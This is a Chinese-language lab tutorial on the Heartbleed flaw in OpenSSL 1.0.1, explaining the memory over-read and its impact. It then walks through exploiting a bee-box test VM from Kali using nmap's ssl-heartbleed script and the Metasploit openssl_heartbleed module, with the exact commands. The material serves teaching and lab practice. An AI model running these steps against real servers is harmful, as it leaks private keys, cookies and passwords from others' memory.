一、什么是心脏滴血
心脏出血漏洞”是指openssl这个开源软件中的一个漏洞,因为该软件使用到一个叫做heartbeat(中文名称为心跳)的扩展,恰恰是这个扩展出现了问题,所以才将这个漏洞形象的称为“心脏出血”;
二、什么是openssl
在计算机网络上,OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。
三、漏洞描述
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
四、漏洞危害
如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。
五、影响范围
OpenSSL1.0.1版本
六、漏洞利用
1.准备一台kali和一台装有OpenSSL1.0.1版本的虚拟机,这里用一个bee-box。
2.分别查看kali和bee-box的IP地址
kali ip:192.168.110.140
bee-box ip:192.168.110.146
3.用kali去ping bee-box检查连通性
4.用nmap -O 192.168.110.146 查看一下开放端口,看是开放这心脏滴血漏洞的8443端口。
以开放,然后我们用nmap 上带的ssl-heartbleed.nse脚本对目标机器进行扫描看是否存在该漏洞
nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.110.146
存在漏洞。
5.打开msf利用模块进行攻击
用search heartbleed搜索漏洞利用模块
使用模块use auxiliary/scanner/ssl/openssl_heartbleed
使用show options查看下要配置的参数
这里我们需要设置一下rhost和rport,这里的rport我们需要修改一下
set rhost 192.168.110.146
set rport 8443
最后设置一下verbose,让verbose为true这样我们才可以看到泄露的64kb数据
set verbose true
这个时候就可以run来运行我们的漏洞利用模块了
可以看到一些泄露的数据,假如这是被攻击端正在输入一些私密的数据,我们就有可能获取到这些数据了。